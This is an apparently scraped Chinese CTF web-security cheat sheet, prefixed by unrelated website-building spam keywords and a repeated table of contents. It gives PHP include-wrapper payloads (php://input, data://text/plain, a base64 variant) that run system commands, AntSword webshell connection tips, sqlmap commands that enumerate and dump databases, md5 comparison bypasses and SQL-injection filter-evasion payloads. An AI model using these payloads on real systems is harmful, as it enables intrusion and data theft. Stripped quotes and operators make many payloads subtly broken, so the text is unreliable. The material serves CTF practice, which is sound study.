企业网站报价,青岛做网站方案,移动网站优化,网站建设一般都需要什么资质文章目录 1、基础知识部分2、php伪协议2.1 php://input协议2.2 data://text/plain协议 3、webshell连接工具3.1 蚁剑连接一句话木马 4、各个web中间件重要文件路径4.1 Nginx 5、sqlmap使用6、php特性6.1 md5加密漏洞 7、TOP 10漏洞7.1 SQL注入 1、基础知识部分
识别base64编码… 文章目录 1、基础知识部分2、php伪协议2.1 php://input协议2.2 data://text/plain协议 3、webshell连接工具3.1 蚁剑连接一句话木马 4、各个web中间件重要文件路径4.1 Nginx 5、sqlmap使用6、php特性6.1 md5加密漏洞 7、TOP 10漏洞7.1 SQL注入 1、基础知识部分
识别base64编码大小写数字偶尔最后几位是 or
2、php伪协议
2.1 php://input协议
关于php://input简单来说当php://input与include连用时数据包中的post字段将会当做php代码执行。
# 查看当前目录下的文件
# GET传参
?urlphp://input
# POST
?php system(ls);? 2.2 data://text/plain协议
关于data://text/plain简单来说当data://text/plain与include连用时data://text/plain后面接着的数据会被当做php代码执行。
?urldata://text/plain,?php system(ls);? #
?urldata://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8 # ?php system(ls);?的bash64加密形式3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错unable_to_verify_leaf_signature是证书的原因目前的解决方法是将URL中的https改为http。
4、各个web中间件重要文件路径
4.1 Nginx
# Linux
/var/log/nginx/access.log # linux下nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下nginx访问日志文件默认路径
Nginx安装目录/logs/access.log# Windows下nginx访问日志文件自定义安装路径5、sqlmap使用
sqlmap常用命令
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容# 使用--tamper脚本将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id1 -p id --tamper space2comment # -p指定参数6、php特性
6.1 md5加密漏洞
md50e漏洞就是说在使用md5()和进行变量比较的时候只要左右两边的字符串经过md5()加密后都是以0e开头的字符串那么左右两边将会相等。当使用md5()和进行变量对比的时候 使用数组可以绕过md5()函数的检测。md5 true参数漏洞 md5($string, true)对ffifdyop、129581926211651571912466741651878684928可以得到or结构的字符串。
7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是
在参数后面加个看返回包是否报错使用万能密码1 or 11 --看返回包有没有反应。 登录框测试SQL注入后尝试目录扫描看看有没有敏感信息泄露。 SQL注入绕过 1、空格被过滤
# 空格被过滤
username1or(true)# # 用(true)代替11
username1/**/or/**/11/**/# # 用内联注释/**/代替空格##经过测试过滤了空格所以用内敛注释进行绕过
id1/**/and/**/11/**/# 正常返回
id1/**/and/**/12/**/# 数据未返回存在SQL注入##或者
id1/**/and/**/(true)/**/# 正常返回
id1/**/and/**/(false)/**/# 数据未返回存在SQL注入##或者
id1/**/or/**/(false)# 返回一条数据
id1/**/or/**/(true)# 返回当前表里的所有数据2、单引号被过滤
# 单引号被过滤
双引号代替单引号3、with rollup虚拟表绕过
# with rollup虚拟表绕过
group by 将结果集按照选择的字段进行排序默认从小到大不进行去重
group by password with rollup对password进行逻辑排序同时会对所有数据进行汇总统计。